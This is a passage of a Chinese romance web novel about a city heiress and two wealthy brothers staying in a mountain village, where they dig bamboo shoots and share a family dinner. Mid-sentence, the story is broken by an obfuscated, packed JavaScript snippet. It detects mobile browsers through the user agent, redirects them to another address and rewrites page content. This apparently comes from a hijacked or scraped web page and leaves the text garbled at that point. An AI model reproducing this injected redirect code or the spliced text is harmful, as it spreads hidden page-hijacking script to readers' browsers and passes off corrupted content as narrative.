院子里鸡鸣、风声、阿桂姐的说话声都退得很远,只有指尖传来的温度和对方眼中自己的倒影无比清晰。 傅拭雪先回过神来,轻轻将她那缕发丝别到耳后,指尖不经意擦过她耳廓。 “头发沾到泥土了。”他声音低得只有两人能听见,收回手时指尖微微蜷了蜷。 李乘歌感到耳廓被他碰过的地方烧起来,她低头假装继续整理竹笋,却发现自己心跳如鼓。 - 直播间外,千里之遥,傅氏集团总部大楼顶层。 傅则民刚结束跨国视频会议,略显疲惫地揉着眉心。苏觅清端着一杯温度刚好的参茶轻轻放在他手边,目光却不由自主被他随手点开的平板屏幕吸引。 屏幕上显示着直播画面。 画质不算顶尖,背景朴素得甚至有些寒酸,是个堆满山货的农家院子。 但画面中央,坐在轮椅上的中年妇人正拿着春笋认真介绍,她身旁蹲着一位笑容温婉解说着的年轻姑娘,还有那个虽然只偶尔出现在画面边缘正细心调整着一块写着“山野珍鲜”木板的年轻男子侧影…… 苏觅清放下手中的茶,端起平板观看起来。 房间里只剩下平板电脑里传出的带着些许电流杂音却清晰可辨的声音。 李乘歌耐心回答运费问题,阿桂姐补充挖笋艰辛与乐趣。 隐约还能听到背景里风吹过树叶的沙沙声,和远处一两声模糊的鸡鸣。 “则民。”她伸出手,指尖在平板屏幕上滑动,找到了那个简陋直播间的购物链接,里面只有简单的一项商品。 【山野春笋(黄泥拱/斑竹笋)】,标价10元/斤,库存显示还有不少。 她没有任何犹豫,动作熟练地选择规格、数量,填写了一个距离临城不远她名下的一处度假别墅的地址,然后干脆利落地支付了订单。 “大儿子是找到了。”她将平板放回桌面,双手环臂轻倚桌旁,语气里带着无奈又宠溺的笑意,“但是小儿子又不见了,我猜是和他哥一样离家出走了。” 傅则民看着屏幕上儿子专注调整背景板的侧影,嘴角微微扬起,眼中却闪过浅淡的笑容。 苏觅清看向丈夫,“你说,我们什么时候去抓这两个小崽子?” 20. 晚饭 傅则民站在顶层办公室的落地窗前,俯瞰着脚下车水马龙的金融街。 他手里端着一杯参茶,茶水温热,袅袅白雾模糊了他的表情。 “不急。”他笑着说。 - “怎么就不急了。” 宋鹤眠站在窗边,手机搁在办公桌上,开着免提。 好友的声音从扬声器里传出来,带着熬夜后特有的沙哑,“现在宋昇闵的项目好不容易撕开一个裂口,你真打算就这么放过?” 宋鹤眠没接话,手指无意识地在窗框上轻轻叩着。 窗外是临城连绵的雨雾,把远山晕染成一幅未干的水墨。 “嗯。”她终于应了一声,声音很轻,“这个裂口是时家联合任家放出来的,他现在忙着堵窟窿,顾不上我。” “舒舒,你知道什么样的猎人最有耐心吗?” “宋昇闵现在只是慌了神,还没到绝境,我们再等等——”她转过身,背靠在冰凉的窗框上,“等他为了堵这个窟窿,不得不把手伸进那些不该碰的地方,等他以为自己找到了救命的浮木……” “那才是我们入场的时候。” 电话那头沉默了很久。 久到宋鹤眠以为信号断了,才听见时舒低低地开口。 “鹤眠,你知道吗,你每次说我们再等等的时候,其实心里早就等不及了。” 不等宋鹤眠反驳,她继续道,语速快了半拍,“宋昇闵是什么人你比我清楚,他手底下那帮人,找起人来比狗还灵。你告诉我你现在在哪儿?安全吗?要不要我过去陪你?” “暂时安全。”宋鹤眠走到床边坐下,目光扫过外面水雾缭绕的山头,“舒舒,乡下的风景真的挺不错的,等天气好了,你来玩。” 电话那头又是一阵沉默。 然后时舒叹了口气,声音软下来,像小时候哄着她那样,“行,那你好好看风景,别让我在新闻上看见你。” 宋鹤眠弯了弯嘴角,没说话。 她想起时舒念大学时也是这样,明明自己急得要命,嘴上还要硬撑着保持冷静。 毕业后她进了投行,加班到凌晨是家常便饭,但每次自己发消息,回复从来没超过十分钟。 “记得要照顾好自己。”时舒的声音将她拉回,“不过鹤眠,你真要一直呆在山里?那里条件……” “这里挺好的。”宋鹤眠打断她,语气坚定,“宋昇闵的手伸不到那么远,还有——” 她站在窗边,目光一直落在一人身上。 傅砚修。 她也不是完全无所图地来到这个小山村。 “舒舒。” “嗯?”时舒在电话那头应了一声。 宋鹤眠张了张嘴,话到嘴边又卡住了。 这不像她。 她从来都是冷静理智到每句话都要在脑子里过三遍才说出口的宋鹤眠。 但此刻,胸腔里那团躁动的陌生的情绪,让她变得不像自己。 “我……”她顿了顿,声音压得很低,低到几乎听不清,“等不及了。” “什么?”时舒没听清。 宋鹤眠深吸一口气,手指攥紧了窗框,木头的纹理硌着掌心,有点疼,但让她清醒了一点。 她看着院子里那个蹲在菜圃边的身影,看着他被阳光勾勒出的轮廓,看着他随意又专注的侧脸。 “我心中小鹿太难耐了。”她说。 声音很轻,但很清晰。 电话那头安静了两秒。 然后,传来一声轻笑,带着了然,带着揶揄。 “噢——”时舒拉长了音调,尾音上扬,心照不宣。 宋鹤眠的脸瞬间热了,她知道时舒懂了。 窗外的傅砚修似乎察觉到了什么。 他忽然抬起头,朝她这个方向看来。 目光穿过院子,穿过午后的阳光,穿过窗玻璃,直直地撞进宋鹤眠的眼睛里。 宋鹤眠的心脏猛地一跳,像被什么东西击中了。 她甚至忘了移开视线,就那么怔怔地看着他,看着他深褐色的眼睛,看着他微微蹙起的眉头,看着他脸上那一瞬间的错愕。 傅砚修的神情微顿,下一秒直接走进房间。 宋鹤眠还站在窗边,手里握着手机,耳边是时舒带着笑意的声音,“怎么不说话了?人走了?” “……嗯。”宋鹤眠终于找回了自己的声音,有点干涩。 “被发现了?”时舒笑得更欢了,“宋大小姐,路漫漫其修远兮啊,这傅家两位少爷可是出了名的佛子啊,这闭门羹,往后不少吃呀~” 宋鹤眠没接话。 她垂着眼,手指无意识地在窗台上画着圈。 夕阳的余晖从云缝里漏下来,把指尖染成淡淡的金色。 时舒又笑了几声,见她不回应,也没追问。 两人换了些无关紧要的话题,时舒抱怨项目组的实习生连Excel透视表都不会用。 宋鹤眠听她骂了五分钟,间或应一声“嗯”“然后呢”。 像从前之前在时家,她做着数据表,时舒在旁边啃苹果,有一搭没一搭地陪聊。 直到那边传来另一个同事催促的声音,时舒才匆匆收了尾,“行了,有事来了,我要去忙了。” “去吧。” “照顾好自己啊。有事随时打电话。” “知道。” 通话结束。 屏幕上跳回主页,通话时长四十七分钟。 宋鹤眠盯着那串数字看了几秒,按熄了屏幕。 房间里重新安静下来,她双手撑着窗框,继续看着窗外。 下午三点的阳光斜斜地切进院子,在老槐树下铺开一片金黄色的光斑。 山里的傍晚来得早,空气里已经能闻到远处人家烧晚饭的柴火味,混着泥土和草木的气息,暖融融的。 傅拭雪推开院门进来时,手里提着一只肥美的山鸡。 山鸡是现抓的,鸡的双脚被红布条绑着,翅膀还在不甘心地扑腾。 “晚上吃冬笋鲜焖鸡。”他声音清朗,脸上带着干活后健康的红晕。 话音才落,东西两边的房门几乎同时开了。 西厢房门口,傅砚修探出身来,他换了身浅灰色的运动装,拉链只拉到一半,露出里面白色的棉T。头发半干,发梢还滴着水,显然是刚洗过澡。 东厢房门口,宋鹤眠也走了出来,她穿一件米白色的针织开衫,长发用一支简单的木簪挽在脑后,几缕碎发垂在颈侧。 两人都侧着头,目光落在傅拭雪手里那只山鸡上。 傅砚修先开口,语气中有些不敢置信,“你这是亲自上山抓的?” “二伯家的。”傅拭雪把鸡提到院子中央,放在青石板地上,“昨天就说好了,今天去拿。” 宋鹤眠没说话,只是看着那只鸡。 她忽然想起小时候在外婆家过年,外婆也是这样提着活鸡穿过院子,鸡脚上绑着红绳,说是图个吉利。 那是她记忆里为数不多带着烟火气的画面。 那时候母亲还在,母亲会蹲在灶台前烧火,火光映红她的脸,她会回头朝宋鹤眠笑,说,“囡囡离远点,别让火星溅到。” 好久违的感觉。 “人都齐了。” 李乘歌从柴房走出,她把柴堆在墙角,拍了拍手上的灰。动作干净利落,袖口挽到小臂,露出一截白皙的手腕,腕骨纤细却有力。 她一眼扫过院子里的情形。 傅拭雪提着鸡,傅砚修和宋鹤眠各自站在房门口,夏叙言和沈摘星也从后院转了出来,六个人聚齐了。 “正好,晚饭需要人手。”她的目光大家身上转了一圈,语气温和,带着询问的意味,“你们有谁会处理鸡?” 她的视线先落在夏叙言身上。 夏叙言立刻举起双手,做出投降的姿势,“别看我,我只会吃。” 他说这话时眼睛弯起来,露出两颗虎牙,显得有点无辜,“真的,我连鱼都没杀过。” 李乘歌点点头,目光转向傅砚修。 傅砚修察觉到视线,表情有一瞬间的别扭,“君子远庖厨。” 李乘歌没说什么,又看向宋鹤眠。 宋鹤眠迎着她的目光,沉默了两秒,然后轻轻摇了摇头。 她确实不会,宋家的大小姐,从小就被教导要远离厨房油烟,那是不体面的地方。 她学会的是如何品鉴红酒,如何分辨鱼子酱的等级,如何在米其林餐厅点菜,而不是如何杀鸡宰鱼。 最后只剩下沈摘星。 小姑娘从菜圃边小跑过来,马尾辫在脑后一甩一甩的,发绳上系着两个小铃铛,跑起来叮叮当当的。 她停在李乘歌面前,仰起脸,眼睛亮晶晶的,“乘歌姐姐,我会。” 院子里安静了一瞬。 风从老槐树的枝叶间穿过,沙沙地响,远处传来隐约的狗吠声。 傅拭雪看着沈摘星,又看看李乘歌,没说话。 李乘歌她蹲下身,平视着沈摘星的眼睛,“摘星,你确定吗?处理鸡不是简单的事,要见血,要拔毛,要开膛破肚。” “确定。”沈摘星用力点头,声音很坚定,“我在家经常帮我妈杀鸡。我妈说,女孩子要会这些,以后才不会被婆家人看不起。” 这话说得朴实,却让院子里几个人都怔了怔。 夏叙言脸上的笑容淡了些,傅砚修的眼神沉了沉,宋鹤眠的手指在身侧蜷缩了一下,连傅拭雪都轻轻皱起了眉。 只有李乘歌神色如常。 她看着沈摘星那双清澈的眼睛,那里面有一种过早懂事的坦然,还有一种想要证明自己的倔强。 李乘歌忽然笑了,笑容中带着暖意。 她伸出手揉了揉小姑娘的头,“摘星,你很能干,但今天这个活儿还是让大人来吧,我去请二伯母来帮忙。” 她站起身,转向其他人,“现在离晚饭还有段时间,我们还需要一些冬笋。有没有人愿意去山上挖一点?就当是散步,顺便看看山里的黄昏。” 夏叙言第一个响应,“我来。” 傅拭雪看了一眼傅砚修,“叙言,你带上傅砚修一起。” “啊?”傅砚修看过去。 傅拭雪走到墙角拿起两把笋铲和几个竹篮递给傅砚修,“拿着。” 傅砚修接过铲子和竹篮,竹篮很轻,但做工扎实。 他握了握铲柄,木头的纹理硌着掌心,不太习惯。 他表情有些微妙,“哥,你真让我去?” “在这里大家都是自己动手,丰衣足食,你也不能例外。”傅拭雪迎着他的目光,拍了拍他的肩,“快去,天黑前回来。山里天黑得快,路不好走。” 他又看向宋鹤眠,语气温和了些,“宋小姐,也一起吧?山里黄昏的景色不错,就当散散步。山路滑,小心点。” 宋鹤眠点点头,从傅砚修手里接过一个竹篮。 夏叙言也走过来,笑嘻嘻地拿起另一把铲子,“走吧走吧,再不去天真的要黑了。我跟你们说,山里的天黑得可快了,嗖一下就黑了,然后各种虫啊鸟啊就开始叫,怪吓人的。” 他故意压低声音,做出夸张的表情。 沈摘星被逗笑了,清脆的笑声像山泉叮咚。 四人出了院子,顺着屋后那条小路往山上走。 小路是用山石和泥土夯出来的,被踩得发亮。 两旁铺满了野草和枯枝,草叶上还挂着未干的水珠,打湿了裤脚。 夏叙言走在最前面,他步子轻快,嘴里哼着不成调的曲子。 沈摘星跟在他身后,小姑娘对山路熟悉,走得稳稳当当。 宋鹤眠在中间,她走得很小心,每一步都踩实了才迈下一步。高跟鞋早就换成了平底布鞋,但走在这样的山路上还是不太习惯。 她一时无防踩到一块松动的石头,脚下一滑—— 一只手从后面伸过来,稳稳地扶住了她的胳膊。 是傅砚修。 他不知什么时候跟得近了,在她踉跄的瞬间出手。 他的手很有力,握住她上臂的位置,隔着薄薄的针织开衫,能感觉到他掌心的温度。 “小心。”他说,声音不高。 宋鹤眠站稳,侧头看了他一眼。 傅砚修已经松开了手,目光看着前面的路,表情平淡,仿佛刚才只是顺手为之。 “谢谢。”宋鹤眠轻声说。 傅砚修没回应,只是微微颔首。 山里的傍晚格外安静。 只有风吹过竹林的沙沙声,远处隐约的溪流声,还有不知名的鸟在树梢鸣叫。 夕阳把四个人的影子拉得很长,投在小路上,像一幅移动的剪影。 走了大约十分钟,竹林到了。 竹子长得密,一根挨着一根,阳光只能从缝隙里漏下几缕,在地面上投出斑驳的光影。空气里弥漫着竹叶的清香和泥土的潮润气息。 “就是这儿了。”夏叙言停下脚步,把笋铲分给沈摘星和宋鹤眠。 傅砚修看向夏叙言,“怎么挖?你看到笋就直接挖?” 夏叙言笑起来,露出一口白牙,“哪有那么简单。你得先找笋窝,地面隆起有裂缝的地方。” 他蹲下身,手指在地面上轻轻划过,“你看,这种裂缝,是笋要破土的迹象。但裂缝太大可能是老笋,裂缝太小可能还没长成。要找这种微微鼓起,裂缝刚刚裂开的地方,底下八成是嫩笋。” 他说着,用手轻轻扒开表面的竹叶和松土,果然露出一点嫩黄色的笋尖。 “看,找到了。”夏叙言抬头,“现在用铲子,从旁边斜着插进去,不要太深,轻轻撬——” 他边说边示范,铲子斜插进土里,手腕一用力,土块松动,一支完整的冬笋被撬了出来。 笋身粗壮,笋尖紧实,根须完好。 傅砚修看得跃跃欲试,“我试试。” 他也蹲下身,找了处有裂缝的地面,动作有点急,铲子举得有点高。 夏叙言想说轻点,话还没出口,傅砚修已经用力往下一插—— “咔嚓。” 一声脆响。 傅砚修把铲子拔出来,带出一截笋尖。 下面的部分还埋在土里,断面参差不齐。 夏叙言凑过来看了一眼,叹了口气,但还是笑眯眯地说,“没事儿没事儿,多挖几根就知道技巧了,第一次都这样。” 傅砚修点点头,抿着唇,又找了处新地方。 这次他动作轻了些,但角度还是不对。 铲子下去—— 咔嚓。 又是一截笋尖。 咔嚓。 咔嚓。 …… 当傅砚修递过来第六根笋尖时,夏叙言终于忍不住了。 他接过那截可怜的笋头,举到傅砚修面前,声音里带着心疼,“傅砚修,都说过了,不要把笋的根铲掉。” 他从土里扒拉出那截断掉的笋根,和笋尖拼在一起,正好是一支完整的笋,只是中间断了。 “这已经是你铲毁的第六根啦。”夏叙言叹气,眼神像在看一个败家子糟蹋好东西。 傅砚修看着那支断笋,沉默了。 他蹲在那里,手里还握着铲子,铲尖沾着新鲜的泥土。 暮光落在他侧脸上,勾勒出清晰的轮廓线,鼻梁挺直,嘴唇抿成一条线。 过了几秒,他摸了摸鼻子,有点讪讪的,“……这不能怪我,是铲子不好用。” “是是是,都是铲子的错。”夏叙言没好气地说,转身找了一处新的笋窝,蹲下身重新示范,“你看,要这样,手要稳,力要匀,不能太急……” 宋鹤眠在一旁静静看着。 她手里攥着竹篮,篮子里还是空的,只有几片掉进去的竹叶。 她还没动手挖过一支,不是不会,是不敢。 她见过太多精致的东西,拍卖会上的名画,保险柜里的古董,玻璃展柜中的珠宝,每一件都价值连城,每一件都被小心翼翼地对待。 但眼前这些从泥土里长出来的笋,却让她有些不知所措。 太真实了,真实到让她害怕弄坏。 沈摘星蹲在不远处,她的篮子已经半满了。 小姑娘动作麻利,一看就是常干活的。挖出一支笋,她还会仔细地把土拍掉,整齐地码在篮子里。 “宋姐姐,你怎么不挖?”沈摘星抬头看她,眼睛亮晶晶的,额头上沁出细密的汗珠。 宋鹤眠抿了抿唇,“我……不太会。” “我教你呀。”沈摘星站起身,拍了拍手上的土,走到她身边。 她指着一处地面,“你看这里,土裂开了,底下肯定有笋。你用手摸摸,能感觉到笋尖顶出来的硬块。” 宋鹤眠依言蹲下身。 手指探进松软的泥土里,起初只是冰凉的触感。 但很快,指尖碰到了一个硬物。她心里一动,小心翼翼地扒开周围的土,果然看到一点嫩黄色的笋尖。 “找到了。”沈摘星笑起来,露出两个酒窝,“现在用铲子,从旁边斜着插进去,不要太深,轻轻撬。” 宋鹤眠握住铲子。 手有些抖。她深吸一口气,照着沈摘星说的做,铲子插进土里,传来沉闷的阻力感。 她用了点力,往上一撬—— 土块松动。一支完整的冬笋被撬了出来,笋壳上还沾着新鲜的泥土。 “成功了!”沈摘星拍手。 宋鹤眠看着手里那支笋,愣了好一会儿。 然后,嘴角慢慢扬起一个真实的笑容。 这是她第一次,真正地凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310829|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己收获一样东西。 不是用钱买,不是靠身份获得,而是用自己的手,从泥土里挖出来的。 她把笋放进篮子里,抬头看向远处。 夕阳正在下沉,把整片竹林染成金红色。 竹叶边缘镀着一层暖光,在风里摇晃,远处的山峦变成深紫色的剪影,一层叠一层,渐次隐入暮色。 傅砚修还在跟笋较劲,夏叙言在一旁耐心地教他,两人的身影在光晕里显得格外柔和。 沈摘星已经回到自己的位置,继续挖笋,动作麻利得像只小松鼠。 篮子渐渐重起来。 山风吹过,竹叶沙沙作响。 山下院子里,炊烟已经袅袅升起。 二伯母果然来了,手里拿着刀。见傅拭雪已经烧好热水,她点点头,“拭雪准备得周到。” 她拿着刀刃在鸡脖子上一剌,动作干净利落,单手提着鸡头将血滴进准备好的碗里,鸡扑腾了两下,就不动了。 傅拭雪将烧好的热水倒入木桶,二伯坐在轮椅上,接过鸡开始拔毛。他动作又快又稳,不会儿鸡毛就全被拔光,一根绒毛都没放过。 二伯母将处理好的鸡提进厨房。 厨房里,李乘歌正在切姜蒜,菜刀落在砧板上,发出有节奏的笃笃声。她切得很细,姜末蒜末分开放。 傅拭雪在一旁洗蘑菇和胡萝卜,蘑菇是建国叔给的,说是后山刚采的。 “他们去了快一个小时了。” 李乘歌看了一眼窗外,天色已经暗下来,远处山脊的轮廓变得模糊。 “差不多了。”傅拭雪说着,把洗好的蘑菇放在案板上。蘑菇是棕色的,伞盖肥厚,散发着菌类特有的清香。 他拿起胡萝卜,开始削皮,削皮刀划过胡萝卜表面,发出嚓嚓的轻响,橘红色的皮卷曲着落下。 两人在厨房里忙碌,配合默契,不需要太多言语。 李乘歌需要姜,手刚伸出去,傅拭雪已经把切好的姜末推到她手边。 傅拭雪要拿盐罐,李乘歌顺手递过去,偶尔手臂相碰,温热的体温透过薄薄的衣料传递,皮肤接触的瞬间,两人都会微微一顿,然后若无其事地继续干活。 但空气里有什么东西在发酵。 甜丝丝的,暖融融的,像刚酿好的米酒,无声地弥漫开来。 灶台里的火噼啪作响,锅里的水开始冒泡,咕嘟咕嘟的。 窗外暮色越来越浓,厨房里的灯光显得格外温暖,橙黄色的,把两个人的影子投在墙壁上,晃动,交叠。 天色彻底暗了。 山路上传来脚步声和人声,由远及近。 傅砚修第一个走进院子,手里拎着篮子,脸上身上都是泥。 他身后跟着夏叙言和宋鹤眠,两人也差不多,头发上还沾着竹叶。 沈摘星走在最后,篮子里装得最满。 “回来了。”李乘歌从厨房探出头,“收获如何?” 傅砚修把篮子往地上一放,表情有些僵硬。 傅拭雪走过来看了一眼,挑眉,“你这是去挖笋,还是去砍头?” 傅砚修难得有些尴尬,他摸了摸鼻尖,然后别过脑袋,声音闷闷的,“……意外。” 夏叙言和宋鹤眠的篮子要好得多,虽然不多,但都是完整的笋。沈摘星的篮子最满,笋也最大,支支粗壮。 “够了够了。”二伯母笑呵呵地说,“这么多笋,够吃好几顿了。” 她接过篮子,开始剥笋。动作飞快,三两下就剥出一支雪白的笋肉。 傅拭雪把处理好的鸡剁成块,刀起刀落,节奏分明,鸡块大小均匀,骨肉分离处干净利落。 李乘歌起锅烧油,油是菜籽油,倒进锅里,很快热了,冒出淡淡的青烟。 她下姜蒜爆香,滋啦一声,香味瞬间炸开,辛辣的,霸道的,充满整个厨房。 然后她倒入鸡块,又是一阵更响的滋啦声,鸡肉在热油里翻滚,颜色从粉白变成金黄。 傅拭雪站在她旁边,看着锅里的鸡块,说,“火可以再大一点。” 李乘歌把火调大,火焰舔着锅底,锅里的油沸腾得更欢了。鸡肉的香味混合着姜蒜的辛辣,变成一种诱人的味道,从厨房的窗户飘出去,飘满整个院子。 李乘歌把炒好的鸡块盛出来,锅里留底油。她倒入冬笋片、蘑菇片和胡萝卜块,翻炒。蔬菜在热油里发出轻快的滋滋声,颜色变得更加鲜亮。 然后她把鸡块倒回去,加酱油、料酒,再加清水,水位刚好没过食材。 盖上锅盖,调成小火,慢慢焖。 “要焖多久?”傅砚修不知什么时候又站到了厨房门口,倚着门框问。 “半个小时。”李乘歌说,擦了擦手,“让味道慢慢进去。” 傅砚修“嗯”了一声,没走。 他看着锅,看着灶台里跳动的火苗,看着李乘歌和傅拭雪在厨房里忙碌的身影。 锅里的热气蒸腾起来,从锅盖边缘冒出来,白蒙蒙的,模糊了李乘歌和傅拭雪的身影。 傅砚修看了一会儿,忽然觉得胸口有点闷。 不是嫉妒,不是羡慕,而是一种……说不清的烦躁。 像有什么东西堵在那里,上不来,下不去。 他转身走回自己的房间。 关上门,隔绝了外面的烟火气。 房间里很暗,只有窗外透进来的一点天光。 傅砚修在床边坐下。 他看着自己的手,手上还沾着挖笋时弄上的泥土,指甲缝里黑黑的,指腹被铲子磨得发红。 他应该去洗手的,却迟迟没有动。 鬼使神差地,他抬起手,放在鼻尖轻嗅。 有苔藓的潮湿,有混着竹根的清苦,还有某种说不出属于山野的原始气息。 原来这就是泥土的味道。 不是花盆里那些精心调配的营养土,不是公园里那些被修剪得整整齐齐的草坪下的土,而是真正的、野生的、孕育生命的泥土。 粗糙,硌人,但真实。 外面传来夏叙言的搞怪声。 他正在模仿傅砚修挖笋的动作,铲子胡乱地往地上插,嘴里还配着音,“咔嚓!咔嚓!又是一颗笋头!” 沈摘星被逗得咯咯直笑,笑声清脆,像风铃。 宋鹤眠轻声说了句什么,声音太低听不清,但语调是温和的,甚至带着点笑意。 厨房里锅铲碰撞,油锅滋滋,二伯母爽朗的笑声穿透门板,“小傅这手艺可以啊,以后谁嫁给你有福气喽!” 李乘歌笑着回了一句什么,听不清。 这些声音混在一起,热闹得不像话。 杂乱,没有章法,但鲜活,有温度。 傅砚修慢慢躺倒在床上,闭上眼睛。 眼前浮现的不是这个简陋的房间,而是那些灯火辉煌的宴会厅,那些衣香鬓影的社交场合。 每个人都很完美,妆容精致,衣着得体,笑容标准。 谈话内容围绕着最新的投资风向,哪家公司的股价又涨了,哪个项目又拿到了融资。 所有人的情绪都被精心包装,喜悦不能太外露,愤怒不能太明显,连悲伤都要恰到好处。 很热闹,但也很虚无。 像一场盛大的假面舞会,每个人都在演,演给自己看,也演给别人看。 而这里—— 他睁开眼睛,看着天花板上陈旧的木梁。 木梁是原木的,没有刷漆,能看见木材本身的纹理。上面有虫蛀的痕迹,一个个细小的洞眼。有雨水渍染的斑纹,深一块浅一块。 有着所有的不完美——裂缝,结疤,凹凸不平。 这里也很吵,有鸡鸣,有狗吠,有孩子哭闹,有人声,有锅碗瓢盆碰撞的声音,有风吹过竹林的声音,有溪水流淌的声音。 没有章法,没有节奏,想响就响,想停就停。 但奇怪的是,他并不讨厌这种吵。 甚至觉得,这种吵里有一种……活着的感觉。 真实的,粗粝的,不加修饰的,但蓬勃的,旺盛的,活生生的。 窗外,最后一缕天光也消失了。 夜色漫上来,像一块巨大柔软的绒布,从山那边铺过来,一点点覆盖了整座山,整个村子,这个小院。 厨房里飘出冬笋焖鸡的香气,浓得化不开。 那是鸡肉的鲜、冬笋的甜、蘑菇的醇、胡萝卜的润,在锅里慢慢交融炖煮出来的味道。 是家的味道。 “吃饭啦——” 傅拭雪清亮的声音穿过夜色,透过门板,钻进房间里。 傅砚修从床上坐起来。 他低头看了看自己脏兮兮的手,忽然笑了。 然后他站起身,推开门,走向那片温暖的灯光和喧闹的人声。 晚饭要开始了。 21. 选择 房门只是打开一条小缝,傅砚修就被扑了个满怀。不是被人,是被温暖橙黄色的灯光,从院子里漫进来,填满了他刚才独处时的那片昏暗。 紧随其后的,是食物的香气,冬笋焖鸡的醇厚,腊味合蒸的咸香,酸菜鱼的酸辣,还有米饭最朴实却最诱人的甜香。 最后涌进来的是人声,众人的谈笑声,碗筷碰撞的叮当声,还有小火炉上汤锅咕嘟咕嘟的轻响。 这些声音、光线和气味交织在一起,像一张巨大而温暖的网,将他兜头罩住。 傅砚修站在门口,愣了一下。 “吃饭啦——”傅拭雪看到他,招招手。 傅砚修这才完全推开门,走了出去。 院子里,那盏挂在树干上的白炽灯亮着,昏黄的光晕笼罩着整个空间,将每一张脸都镀上一层柔和的暖色。 一张老旧的长方桌摆在院子中央,桌腿有些不平,用一小块木片垫着。 桌上摆得满满当当,几乎要溢出来。 正中央是一大砂锅的冬笋鲜焖鸡,还在小炭炉上温着,乳白色的汤汁微微滚动,鸡肉炖得酥烂,冬笋片嫩黄,蘑菇肥厚,胡萝卜块染上了汤汁的金黄色,热气袅袅上升。 目光里紧挨着的是另一道腊味合蒸,粗瓷大盘里,深红色的腊肠、油光发亮的腊肉、黑褐色的腊鱼层层叠叠,底下垫着吸饱了油脂的干豆角。腊味的咸香混合着豆角的干香,勾得人食指大动。 旁边是一盆酸菜鱼,汤色奶白中透着微黄,酸菜的青翠和泡椒的红艳点缀其间,鱼片雪白滑嫩,浮在汤面上,热气带着酸辣鲜香直往鼻子里钻。 三道大菜镇住了场面,周围环绕着各色小菜。 一盘清炒时蔬,是从菜圃里刚掐的嫩油菜,碧绿油亮,只用蒜末清炒,保留了最本真的清甜。 一盘凉拌斑竹笋,焯水后冰镇过,拌上蒜泥、香油和少许陈醋,脆嫩爽口,是按阿桂姐的做法来的。 一碗蒸鸡蛋羹,表面平滑如镜,嫩黄诱人,撒了几粒翠绿的葱花,淋了几滴香油。 还有一筐刚出锅的玉米面贴饼子,焦黄喷香。 “我的天……”沈摘星已经看呆了,眼睛瞪得圆圆的,“这、这比过年还丰盛啊!” 李乘歌正弯腰把最后一碗汤端上桌,听见这话,直起身来,顺手把鬓边散落的一缕碎发别到耳后。 她的目光越过满桌的饭菜,落在两个稍显拘谨的身影上。 “今天人多,又都辛苦了,得吃好点。”她顿了顿,眼底漾开一点笑意,声音温和却不失清亮,“同样的这也算是欢迎宋鹤眠和傅砚修,来到我们的小院。” 大家都围坐在桌边。 阿桂姐坐在轮椅上,腿上盖着那条洗得发白的薄毯,建国叔挨着她。 二伯挨着二伯母坐着,正用勺子小心地给妻子舀蒸蛋。 二伯母已经解下了围裙,鬓角有些汗湿,但笑容满面,正给沈摘星夹菜,“摘星多吃点,正长身体呢!” 夏叙言和沈摘星挤在一条长凳上。 夏叙言正眼巴巴地盯着那盆酸菜鱼,喉咙不自觉地滚动了一下。 沈摘星则乖巧地坐着,小手放在膝盖上,眼睛亮晶晶地看着满桌的菜。 宋鹤眠坐在另一侧,她坐姿依然端庄,但肩膀放松了许多,目光缓缓扫过桌上的每一道菜,眼神里流露出难得的惊讶和食欲。 李乘歌正拿着饭勺给大家盛饭,动作熟练自然。昏黄的灯光落在她侧脸上,将她专注的神情勾勒得格外温柔。 “过来坐。”傅拭雪看见他,招了招手,声音里带着明显的轻松愉快,“就等你了。” 傅砚修站在门廊下,被灯光和热气扑了满怀。 他顿了两秒。 这个画面真的好温暖,他眼前这一幕是真实的吗? 他想要知道答案。 然后,他迈开了步子。 走到桌子旁,剩下的那个空位正好在李乘歌和宋鹤眠中间一条长凳,李乘歌坐在左边,宋鹤眠坐在右边,中间留出了一个刚好够他坐下的位置。 他犹豫了一瞬,还是坐下了。 “给。”李乘歌把刚盛好的一碗饭递给他,碗是粗瓷的,边缘有个小小的豁口,但洗刷得干干净净。 饭盛得很满,压实实的,冒着热气,米香扑鼻。 “快吃吧。”她说,眼睛弯起来,“尝尝你自己的劳动成果,虽然大部分是笋头。” 这话一出,大家都笑了。 连宋鹤眠都抿了抿嘴,眼里有了笑意。 二伯母也笑了,声音温和,“第一次都这样,乘歌第一次帮我挖笋的时候,差点把整片地都翻过来。” 李乘歌难得地有点不好意思,轻咳一声,“二伯母,那都是多少年前的事了。” 二伯母用手比划了一个高度,“可不是嘛,那时候乘歌才这么高……” 她感慨,“现在都这么大了,能张罗这么一大桌子菜了。” “是呀。”一直安静吃饭的二伯也开口了,声音低沉温和,“时间过得好快。乘歌都长这么大了,做事稳妥,性子又好。哥哥嫂子要是看到,一定会很欣慰。” 傅砚修知道李家伯母和李伯父是在给自己解围,他拿起筷子,他第一次感受到这样的温暖的热闹。 第一筷,他夹了一块鸡。 第二筷,他夹了一片腊肉。 第三筷,他尝了酸菜鱼。 很好吃。 真的很好吃。 比他吃过的任何米其林餐厅的菜都好吃。 不是因为食材多珍贵,不是因为厨艺多高超,而是因为这里面有某种东西。 是真实。 是泥土里长出来的笋,是山里跑的鸡,是菜圃里刚摘的菜,是灶膛里烧的柴火。 更是此时此刻,围坐在一起真实的呼吸和笑声。 在他面前的是真实的存在的画面。 是生动的生活画卷。 阿桂姐和建国叔低声说着明天的安排,建国叔把挑干净刺的鱼肉仔细放进她的碗里,动作熟稔而温柔。 二伯话不多,但目光始终关注着桌上。他给二伯母夹她爱吃的腊肠,给阿桂姐舀汤,偶尔伸长手臂,给坐在对面的夏叙言和沈摘星夹他们够不到的菜,一言一行,皆是沉默的关怀。 人聊着聊着慢慢就放松了下来,阿桂姐想起了当年卫建国卖笋的事。 “你们不晓得,建国头一回挑笋去镇上卖——” 阿桂姐声音不高,却把一桌人的目光都拢了过来。她说话向来这样,不紧不慢的,像山里的溪水,听着听着就被带进去了。 